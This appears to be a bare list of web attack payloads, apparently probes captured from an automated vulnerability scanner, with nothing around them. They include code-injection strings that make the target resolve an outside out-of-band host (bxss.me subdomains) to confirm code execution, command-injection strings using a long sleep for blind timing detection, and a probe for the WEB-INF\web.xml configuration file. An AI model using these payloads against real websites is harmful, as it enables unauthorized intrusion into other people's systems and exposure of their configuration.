Mr.
".gethostbyname(lc("hitqs"."grtrplhb99541.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(72).chr(112).chr(85)."
".gethostbyname(lc("hitqs"."grtrplhb99541.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(72).chr(112).chr(85)."
"&&sleep(27*1000)*ohoefm&&"
WEB-INF\web.xml
'.gethostbyname(lc('hitom'.'jpfgqvqa2f9e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(86).chr(110).chr(81).'
'&&sleep(27*1000)*hotyfd&&'